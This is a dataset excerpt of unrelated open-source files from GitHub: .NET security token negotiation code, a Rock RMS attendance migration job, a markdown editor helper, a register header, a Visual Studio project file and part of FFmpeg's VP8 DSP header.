text
stringlengths 2
100k
| meta
dict |
---|---|
//-----------------------------------------------------------------------------
// Copyright (c) Microsoft Corporation. All rights reserved.
//-----------------------------------------------------------------------------
namespace System.ServiceModel.Security
{
using System.Runtime;
using System.ServiceModel;
using System.ServiceModel.Channels;
using System.ServiceModel.Description;
using System.ServiceModel.Dispatcher;
using System.Xml;
// This is the base class for all token providers that negotiate an SCT from
// the target service.
abstract class NegotiationTokenProvider<T> : IssuanceTokenProviderBase<T>
where T : IssuanceTokenProviderState
{
IChannelFactory<IRequestChannel> rstChannelFactory;
bool requiresManualReplyAddressing;
BindingContext issuanceBindingContext;
MessageVersion messageVersion;
protected NegotiationTokenProvider()
: base()
{
}
public BindingContext IssuerBindingContext
{
get { return this.issuanceBindingContext; }
set
{
this.CommunicationObject.ThrowIfDisposedOrImmutable();
if (value == null)
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("value");
}
this.issuanceBindingContext = value.Clone();
}
}
public override XmlDictionaryString RequestSecurityTokenAction
{
get
{
return this.StandardsManager.TrustDriver.RequestSecurityTokenAction;
}
}
public override XmlDictionaryString RequestSecurityTokenResponseAction
{
get
{
return this.StandardsManager.TrustDriver.RequestSecurityTokenResponseAction;
}
}
protected override MessageVersion MessageVersion
{
get
{
return this.messageVersion;
}
}
protected override bool RequiresManualReplyAddressing
{
get
{
ThrowIfCreated();
return this.requiresManualReplyAddressing;
}
}
public override void OnClose(TimeSpan timeout)
{
TimeoutHelper timeoutHelper = new TimeoutHelper(timeout);
if (this.rstChannelFactory != null)
{
this.rstChannelFactory.Close(timeout);
this.rstChannelFactory = null;
}
base.OnClose(timeoutHelper.RemainingTime());
}
public override void OnAbort()
{
if (this.rstChannelFactory != null)
{
this.rstChannelFactory.Abort();
this.rstChannelFactory = null;
}
base.OnAbort();
}
public override void OnOpen(TimeSpan timeout)
{
if (this.IssuerBindingContext == null)
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new InvalidOperationException(SR.GetString(SR.IssuerBuildContextNotSet, this.GetType())));
}
TimeoutHelper timeoutHelper = new TimeoutHelper(timeout);
this.SetupRstChannelFactory();
this.rstChannelFactory.Open(timeout);
base.OnOpen(timeoutHelper.RemainingTime());
}
protected abstract IChannelFactory<IRequestChannel> GetNegotiationChannelFactory(IChannelFactory<IRequestChannel> transportChannelFactory, ChannelBuilder channelBuilder);
void SetupRstChannelFactory()
{
IChannelFactory<IRequestChannel> innerChannelFactory = null;
ChannelBuilder channelBuilder = new ChannelBuilder(this.IssuerBindingContext.Clone(), true);
// if the underlying transport does not support request/reply, wrap it inside
// a service channel factory.
if (channelBuilder.CanBuildChannelFactory<IRequestChannel>())
{
innerChannelFactory = channelBuilder.BuildChannelFactory<IRequestChannel>();
this.requiresManualReplyAddressing = true;
}
else
{
ClientRuntime clientRuntime = new ClientRuntime("RequestSecurityTokenContract", NamingHelper.DefaultNamespace);
clientRuntime.ValidateMustUnderstand = false;
ServiceChannelFactory serviceChannelFactory = ServiceChannelFactory.BuildChannelFactory(channelBuilder, clientRuntime);
serviceChannelFactory.ClientRuntime.UseSynchronizationContext = false;
serviceChannelFactory.ClientRuntime.AddTransactionFlowProperties = false;
ClientOperation rstOperation = new ClientOperation(serviceChannelFactory.ClientRuntime, "RequestSecurityToken", this.RequestSecurityTokenAction.Value);
rstOperation.Formatter = MessageOperationFormatter.Instance;
serviceChannelFactory.ClientRuntime.Operations.Add(rstOperation);
if (this.IsMultiLegNegotiation)
{
ClientOperation rstrOperation = new ClientOperation(serviceChannelFactory.ClientRuntime, "RequestSecurityTokenResponse", this.RequestSecurityTokenResponseAction.Value);
rstrOperation.Formatter = MessageOperationFormatter.Instance;
serviceChannelFactory.ClientRuntime.Operations.Add(rstrOperation);
}
// service channel automatically adds reply headers
this.requiresManualReplyAddressing = false;
innerChannelFactory = new SecuritySessionSecurityTokenProvider.RequestChannelFactory(serviceChannelFactory);
}
this.rstChannelFactory = GetNegotiationChannelFactory(innerChannelFactory, channelBuilder);
this.messageVersion = channelBuilder.Binding.MessageVersion;
}
// negotiation message processing overrides
protected override bool WillInitializeChannelFactoriesCompleteSynchronously(EndpointAddress target)
{
return true;
}
protected override void InitializeChannelFactories(EndpointAddress target, TimeSpan timeout)
{
}
protected override IAsyncResult BeginInitializeChannelFactories(EndpointAddress target, TimeSpan timeout, AsyncCallback callback, object state)
{
return new CompletedAsyncResult(callback, state);
}
protected override void EndInitializeChannelFactories(IAsyncResult result)
{
CompletedAsyncResult.End(result);
}
protected override IRequestChannel CreateClientChannel(EndpointAddress target, Uri via)
{
if (via != null)
{
return this.rstChannelFactory.CreateChannel(target, via);
}
else
{
return this.rstChannelFactory.CreateChannel(target);
}
}
}
}
| {
"pile_set_name": "Github"
} |
// Package http DEPRECATED USE net/http/httptest
package http
| {
"pile_set_name": "Github"
} |
package com.yydcdut.note.markdown;
import android.text.Editable;
import android.widget.Toast;
import com.yydcdut.rxmarkdown.RxMDConfiguration;
import com.yydcdut.rxmarkdown.RxMDEditText;
/**
* Created by yuyidong on 16/8/17.
*/
public class BlockQuotesController {
private RxMDEditText mRxMDEditText;
private RxMDConfiguration mRxMDConfiguration;
public BlockQuotesController(RxMDEditText rxMDEditText, RxMDConfiguration rxMDConfiguration) {
mRxMDEditText = rxMDEditText;
mRxMDConfiguration = rxMDConfiguration;
}
public void doBlockQuotes() {
int start = mRxMDEditText.getSelectionStart();
int end = mRxMDEditText.getSelectionEnd();
if (start == end) {
int position0 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), start) + 1;
Editable editable = mRxMDEditText.getText();
if ("> ".equals(editable.subSequence(position0, position0 + "> ".length()).toString())) {
mRxMDEditText.getText().delete(position0, position0 + "> ".length());
return;
}
mRxMDEditText.getText().insert(position0, "> ");
} else {
int position0 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), start) + 1;
int position1 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), end) + 1;
if (position0 == position1) {
Editable editable = mRxMDEditText.getText();
int selectedStart = mRxMDEditText.getSelectionStart();
int selectedEnd = mRxMDEditText.getSelectionEnd();
if (selectedStart >= "> ".length() && ("> ".equals(editable.subSequence(selectedStart - "> ".length(), selectedStart).toString())) &&
((selectedStart > "\n> ".length() && editable.charAt(selectedStart - 3) == '\n') || selectedStart < "\n> ".length()) || (
selectedStart > "> > ".length() && "> > ".equals(editable.subSequence(selectedStart - "> > ".length(), selectedStart).toString()))) {
mRxMDEditText.getText().delete(selectedStart - "> ".length(), selectedStart);
mRxMDEditText.setSelection(selectedStart - "> ".length(), selectedEnd - "> ".length());
return;
}
if ((selectedStart > 0 && editable.charAt(selectedStart - 1) == '\n') || selectedStart == 0) {
if (selectedEnd < editable.length() && editable.charAt(selectedEnd) != '\n') {
mRxMDEditText.getText().insert(selectedEnd, "\n");
}
mRxMDEditText.getText().insert(selectedStart, "> ");
mRxMDEditText.setSelection(selectedStart + "> ".length(), selectedEnd + "> ".length());
} else {
if (selectedEnd + 1 < editable.length() && editable.charAt(selectedEnd + 1) != '\n') {
mRxMDEditText.getText().insert(selectedEnd, "\n");
}
mRxMDEditText.getText().insert(selectedStart, "\n> ");
mRxMDEditText.setSelection(selectedStart + "\n> ".length(), selectedEnd + "\n> ".length());
}
} else {
Toast.makeText(mRxMDEditText.getContext(), "无法操作多行", Toast.LENGTH_SHORT).show();
}
}
}
public void addNestedBlockQuotes() {
int start = mRxMDEditText.getSelectionStart();
int end = mRxMDEditText.getSelectionEnd();
if (start == end) {
int position0 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), start) + 1;
mRxMDEditText.getText().insert(position0, "> ");
} else {
int position0 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), start) + 1;
int position1 = Utils.findBeforeNewLineChar(mRxMDEditText.getText(), end) + 1;
if (position0 == position1) {
int selectedStart = mRxMDEditText.getSelectionStart();
int selectedEnd = mRxMDEditText.getSelectionEnd();
Editable editable = mRxMDEditText.getText();
if (selectedStart >= "> ".length() && ("> ".equals(editable.subSequence(selectedStart - "> ".length(), selectedStart).toString())) &&
((selectedStart > "\n> ".length() && editable.charAt(selectedStart - 3) == '\n') || selectedStart < "\n> ".length()) || (
selectedStart > "> > ".length() && "> > ".equals(editable.subSequence(selectedStart - "> > ".length(), selectedStart).toString()))) {
mRxMDEditText.getText().insert(selectedStart, "> ");
mRxMDEditText.setSelection(selectedStart + "> ".length(), selectedEnd + "> ".length());
return;
}
if ((selectedStart > 0 && editable.charAt(selectedStart - 1) == '\n') || selectedStart == 0) {
if (selectedEnd < editable.length() && editable.charAt(selectedEnd) != '\n') {
mRxMDEditText.getText().insert(selectedEnd, "\n");
}
mRxMDEditText.getText().insert(selectedStart, "> ");
mRxMDEditText.setSelection(selectedStart + "> ".length(), selectedEnd + "> ".length());
} else {
if (selectedEnd + 1 < editable.length() && editable.charAt(selectedEnd + 1) != '\n') {
mRxMDEditText.getText().insert(selectedEnd, "\n");
}
mRxMDEditText.getText().insert(selectedStart, "\n> ");
mRxMDEditText.setSelection(selectedStart + "\n> ".length(), selectedEnd + "\n> ".length());
}
} else {
Toast.makeText(mRxMDEditText.getContext(), "无法操作多行", Toast.LENGTH_SHORT).show();
}
}
}
}
| {
"pile_set_name": "Github"
} |
# Copyright 2009 Timothy Fisher
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
class ForumTopic < ActiveRecord::Base
has_many :forum_posts, :order=>'created_at DESC'
has_many :forum_threads, :class_name => 'ForumPost', :order=>'created_at DESC', :conditions=>'parent_id is null'
end
| {
"pile_set_name": "Github"
} |
// <copyright>
// Copyright by the Spark Development Network
//
// Licensed under the Rock Community License (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.rockrms.com/license
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// </copyright>
//
using System.ComponentModel;
using System.Linq;
using Quartz;
using Rock.Attribute;
using Rock.Data;
using Rock.Model;
namespace Rock.Jobs
{
/// <summary>
/// This job migrates data from attendance records into attendance occurance records.
/// </summary>
/// <seealso cref="Quartz.IJob" />
[DisplayName( "Rock Update Helper v8.0 - Migrate Attendance Occurrence Data" )]
[Description( "This job migrates data from attendance records into attendance occurance records." )]
[DisallowConcurrentExecution]
[IntegerField( "Command Timeout", "Maximum amount of time (in seconds) to wait for the SQL Query to complete. Leave blank to use the default for this job (3600). Note, it could take several minutes, so you might want to set it at 3600 (60 minutes) or higher", false, 60 * 60, "General", 1, "CommandTimeout" )]
public class MigrateAttendanceOccurrenceData : IJob
{
private int _commandTimeout = 0;
private int _remainingAttendanceRecords = 0;
private int _occurrenceRecordsAdded = 0;
private int _attendanceRecordsUpdated = 0;
/// <summary>
/// Executes the specified context.
/// </summary>
/// <param name="context">The context.</param>
/// <exception cref="System.NotImplementedException"></exception>
public void Execute( IJobExecutionContext context )
{
JobDataMap dataMap = context.JobDetail.JobDataMap;
_commandTimeout = dataMap.GetString( "CommandTimeout" ).AsIntegerOrNull() ?? 3600;
using ( var rockContext = new RockContext() )
{
rockContext.Database.CommandTimeout = _commandTimeout;
_remainingAttendanceRecords = rockContext.Database.SqlQuery<int>( $@"
SELECT COUNT(*) FROM [Attendance] WHERE [OccurrenceId] = 1
" ).First();
if ( _remainingAttendanceRecords == 0 )
{
// drop the indexes and columns
rockContext.Database.ExecuteSqlCommand( @"
IF NOT EXISTS(SELECT * FROM sys.indexes WHERE name = 'IX_OccurrenceId' AND object_id = OBJECT_ID('Attendance'))
BEGIN
CREATE INDEX [IX_OccurrenceId] ON [dbo].[Attendance]([OccurrenceId])
END
IF EXISTS(SELECT * FROM sys.indexes WHERE name = 'IX_GroupId' AND object_id = OBJECT_ID('Attendance'))
BEGIN
DROP INDEX [IX_GroupId] ON [dbo].[Attendance]
END
IF EXISTS(SELECT * FROM sys.indexes WHERE name = 'IX_GroupId_StartDateTime_DidAttend' AND object_id = OBJECT_ID('Attendance'))
BEGIN
DROP INDEX [IX_GroupId_StartDateTime_DidAttend] ON [dbo].[Attendance]
END
IF EXISTS(SELECT * FROM sys.indexes WHERE name = 'IX_PersonAliasId' AND object_id = OBJECT_ID('Attendance'))
BEGIN
DROP INDEX [IX_PersonAliasId] ON [dbo].[Attendance]
END
IF EXISTS(SELECT * FROM sys.indexes WHERE name = 'IX_StartDateTime_DidAttend' AND object_id = OBJECT_ID('Attendance'))
BEGIN
DROP INDEX [IX_StartDateTime_DidAttend] ON [dbo].[Attendance]
END
IF EXISTS(SELECT * FROM sys.indexes WHERE name = 'IX_SundayDate' AND object_id = OBJECT_ID('Attendance'))
BEGIN
DROP INDEX [IX_SundayDate] ON [dbo].[Attendance]
END
IF NOT EXISTS(SELECT * FROM sys.indexes WHERE name = 'IX_PersonAliasId' AND object_id = OBJECT_ID('Attendance'))
BEGIN
CREATE NONCLUSTERED INDEX [IX_PersonAliasId] ON [dbo].[Attendance]
(
[PersonAliasId] ASC
)
INCLUDE ( [Id],
[StartDateTime],
[DidAttend],
[CampusId]) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
END
IF NOT EXISTS(SELECT * FROM sys.indexes WHERE name = 'IX_StartDateTime_DidAttend' AND object_id = OBJECT_ID('Attendance'))
BEGIN
CREATE NONCLUSTERED INDEX [IX_StartDateTime_DidAttend] ON [dbo].[Attendance]
(
[StartDateTime] ASC,
[DidAttend] ASC
)
INCLUDE ( [Id],
[CampusId],
[PersonAliasId]) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
END
ALTER TABLE [dbo].[Attendance]
DROP CONSTRAINT [FK_dbo.Attendance_dbo.Group_GroupId], [FK_dbo.Attendance_dbo.Location_LocationId], [FK_dbo.Attendance_dbo.Schedule_ScheduleId]
ALTER TABLE [dbo].[Attendance]
DROP COLUMN [LocationId], [ScheduleId], [GroupId], [DidNotOccur]
IF (
EXISTS (
SELECT *
FROM information_schema.COLUMNS
WHERE TABLE_NAME = 'Attendance' AND COLUMN_NAME = 'SundayDate'
)
)
BEGIN
ALTER TABLE [Attendance]
DROP COLUMN [SundayDate]
END
IF NOT EXISTS ( SELECT [Id] FROM [Attendance] WHERE [OccurrenceId] = 1 )
BEGIN
DELETE [AttendanceOccurrence] WHERE [Id] = 1
END
" );
// delete job if there are no unlined attendance records
var jobId = context.GetJobId();
var jobService = new ServiceJobService( rockContext );
var job = jobService.Get( jobId );
if ( job != null )
{
jobService.Delete( job );
rockContext.SaveChanges();
return;
}
}
}
MigrateAttendanceData( context );
context.UpdateLastStatusMessage( $@"Attendance Records Read: {_attendanceRecordsUpdated},
Occurrence Records Inserted: { _occurrenceRecordsAdded},
Attendance Records Updated: { _attendanceRecordsUpdated}
" );
}
/// <summary>
/// Migrates the page views data.
/// </summary>
/// <param name="context">The context.</param>
private void MigrateAttendanceData( IJobExecutionContext context )
{
using ( var rockContext = new RockContext() )
{
var sqlCreateOccurrenceRecords = $@"
INSERT INTO [AttendanceOccurrence] (
[GroupId]
,[LocationId]
,[ScheduleId]
,[OccurrenceDate]
,[DidNotOccur]
,[Guid]
)
SELECT
[GroupId],
[LocationId],
[ScheduleId],
[OccurrenceDate],
[DidNotOccur],
NEWID()
FROM (
SELECT DISTINCT
A.[GroupId],
A.[LocationId],
A.[ScheduleId],
A.[OccurrenceDate],
A.[DidNotOccur]
FROM (
SELECT
A.[GroupId],
A.[LocationId],
A.[ScheduleId],
CAST(A.[StartDateTime] AS DATE) AS [OccurrenceDate],
max(cast(a.DidNotOccur as int) ) [DidNotOccur]
FROM [Attendance] a
GROUP BY A.[GroupId],
A.[LocationId],
A.[ScheduleId],
CAST(A.[StartDateTime] AS DATE)
) A
LEFT OUTER JOIN [AttendanceOccurrence] O
ON ((O.[GroupId] = A.[GroupId]) or (o.GroupId is null and a.GroupId is null))
AND ((O.[LocationId] = A.[LocationId]) or (o.LocationId is null and a.LocationId is null))
AND ((O.[ScheduleId] = A.[ScheduleId]) or (o.ScheduleId is null and a.ScheduleId is null))
AND O.[OccurrenceDate] = A.[OccurrenceDate]
WHERE O.[Id] IS NULL
) x
";
var sqlUpdateAttendanceRecords = @"
UPDATE A
SET [OccurrenceId] = O.[Id]
FROM
[Attendance] A
INNER JOIN [AttendanceOccurrence] O
ON ((O.[GroupId] = A.[GroupId]) or (o.GroupId is null and a.GroupId is null))
AND ((O.[LocationId] = A.[LocationId]) or (o.LocationId is null and a.LocationId is null))
AND ((O.[ScheduleId] = A.[ScheduleId]) or (o.ScheduleId is null and a.ScheduleId is null))
AND O.[OccurrenceDate] = CAST(A.[StartDateTime] AS DATE)
WHERE
A.[OccurrenceId] = 1
";
rockContext.Database.CommandTimeout = _commandTimeout;
_occurrenceRecordsAdded += rockContext.Database.ExecuteSqlCommand( sqlCreateOccurrenceRecords );
_attendanceRecordsUpdated = rockContext.Database.ExecuteSqlCommand( sqlUpdateAttendanceRecords );
}
}
}
}
| {
"pile_set_name": "Github"
} |
#pragma once
#include <Register/Utility.hpp>
namespace Kvasir {
//Hardware Watchdog Timer
namespace HwwdtWdgLdr{ ///<Hardware Watchdog Timer Load Register
using Addr = Register::Address<0x40011000,0xffffffff,0x00000000,unsigned>;
}
namespace HwwdtWdgVlr{ ///<Hardware Watchdog Timer Value Register
using Addr = Register::Address<0x40011004,0xffffffff,0x00000000,unsigned>;
}
namespace HwwdtWdgCtl{ ///<Hardware Watchdog Timer Control Register
using Addr = Register::Address<0x40011008,0xfffffffc,0x00000000,unsigned>;
///Hardware watchdog reset enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> resen{};
///Hardware watchdog interrupt and counter enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> inten{};
}
namespace HwwdtWdgIcl{ ///<Hardware Watchdog Timer Clear Register
using Addr = Register::Address<0x4001100c,0xffffffff,0x00000000,unsigned char>;
}
namespace HwwdtWdgRis{ ///<Hardware Watchdog Timer Interrupt Status Register
using Addr = Register::Address<0x40011010,0xfffffffe,0x00000000,unsigned>;
///Hardware watchdog interrupt status bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::Access<Register::AccessType::readOnly,Register::ReadActionType::normal,Register::ModifiedWriteValueType::normal>,unsigned> ris{};
}
namespace HwwdtWdgLck{ ///<Hardware Watchdog Timer Lock Register
using Addr = Register::Address<0x40011c00,0xffffffff,0x00000000,unsigned>;
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="Add_PerInterface_Rule"
ProjectGUID="{7B3D2178-EBFC-4689-8FAF-805D36D73FD6}"
RootNamespace="Add_PerInterface_Exception"
Keyword="Win32Proj"
TargetFrameworkVersion="131072"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
Detect64BitPortabilityProblems="true"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="1"
RandomizedBaseAddress="1"
DataExecutionPrevention="0"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
RuntimeLibrary="2"
UsePrecompiledHeader="0"
WarningLevel="3"
Detect64BitPortabilityProblems="true"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="1"
OptimizeReferences="2"
EnableCOMDATFolding="2"
RandomizedBaseAddress="1"
DataExecutionPrevention="0"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
AdditionalIncludeDirectories=""C:\Program Files\Microsoft SDKs\Windows\v6.0\Include";"C:\Program Files\Microsoft SDKs\Windows\v6.0\VC\LIB\x64""
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
TreatWChar_tAsBuiltInType="false"
UsePrecompiledHeader="0"
WarningLevel="3"
Detect64BitPortabilityProblems="true"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="1"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCWebDeploymentTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
AdditionalIncludeDirectories=""C:\Program Files\Microsoft SDKs\Windows\v6.0\VC\LIB\x64";"C:\Program Files\Microsoft SDKs\Windows\v6.0\Include""
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
RuntimeLibrary="2"
TreatWChar_tAsBuiltInType="false"
UsePrecompiledHeader="0"
WarningLevel="3"
Detect64BitPortabilityProblems="true"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="1"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCWebDeploymentTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\Add_PerInterface_Rule.cpp"
>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
</Filter>
<Filter
Name="Resource Files"
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
>
<File
RelativePath=".\Add_PerInterface_Rule.rc"
>
</File>
</Filter>
<File
RelativePath=".\ReadMe.txt"
>
</File>
</Files>
<Globals>
</Globals>
</VisualStudioProject>
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2010 David Conrad
* Copyright (C) 2010 Ronald S. Bultje
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with FFmpeg; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
/**
* @file
* VP8 compatible video decoder
*/
#ifndef AVCODEC_VP8DSP_H
#define AVCODEC_VP8DSP_H
#include <stddef.h>
#include <stdint.h>
typedef void (*vp8_mc_func)(uint8_t *dst /* align 8 */, ptrdiff_t dstStride,
uint8_t *src /* align 1 */, ptrdiff_t srcStride,
int h, int x, int y);
typedef struct VP8DSPContext {
void (*vp8_luma_dc_wht)(int16_t block[4][4][16], int16_t dc[16]);
void (*vp8_luma_dc_wht_dc)(int16_t block[4][4][16], int16_t dc[16]);
void (*vp8_idct_add)(uint8_t *dst, int16_t block[16], ptrdiff_t stride);
void (*vp8_idct_dc_add)(uint8_t *dst, int16_t block[16], ptrdiff_t stride);
void (*vp8_idct_dc_add4y)(uint8_t *dst, int16_t block[4][16],
ptrdiff_t stride);
void (*vp8_idct_dc_add4uv)(uint8_t *dst, int16_t block[4][16],
ptrdiff_t stride);
// loop filter applied to edges between macroblocks
void (*vp8_v_loop_filter16y)(uint8_t *dst, ptrdiff_t stride,
int flim_E, int flim_I, int hev_thresh);
void (*vp8_h_loop_filter16y)(uint8_t *dst, ptrdiff_t stride,
int flim_E, int flim_I, int hev_thresh);
void (*vp8_v_loop_filter8uv)(uint8_t *dstU, uint8_t *dstV, ptrdiff_t stride,
int flim_E, int flim_I, int hev_thresh);
void (*vp8_h_loop_filter8uv)(uint8_t *dstU, uint8_t *dstV, ptrdiff_t stride,
int flim_E, int flim_I, int hev_thresh);
// loop filter applied to inner macroblock edges
void (*vp8_v_loop_filter16y_inner)(uint8_t *dst, ptrdiff_t stride,
int flim_E, int flim_I, int hev_thresh);
void (*vp8_h_loop_filter16y_inner)(uint8_t *dst, ptrdiff_t stride,
int flim_E, int flim_I, int hev_thresh);
void (*vp8_v_loop_filter8uv_inner)(uint8_t *dstU, uint8_t *dstV,
ptrdiff_t stride,
int flim_E, int flim_I, int hev_thresh);
void (*vp8_h_loop_filter8uv_inner)(uint8_t *dstU, uint8_t *dstV,
ptrdiff_t stride,
int flim_E, int flim_I, int hev_thresh);
void (*vp8_v_loop_filter_simple)(uint8_t *dst, ptrdiff_t stride, int flim);
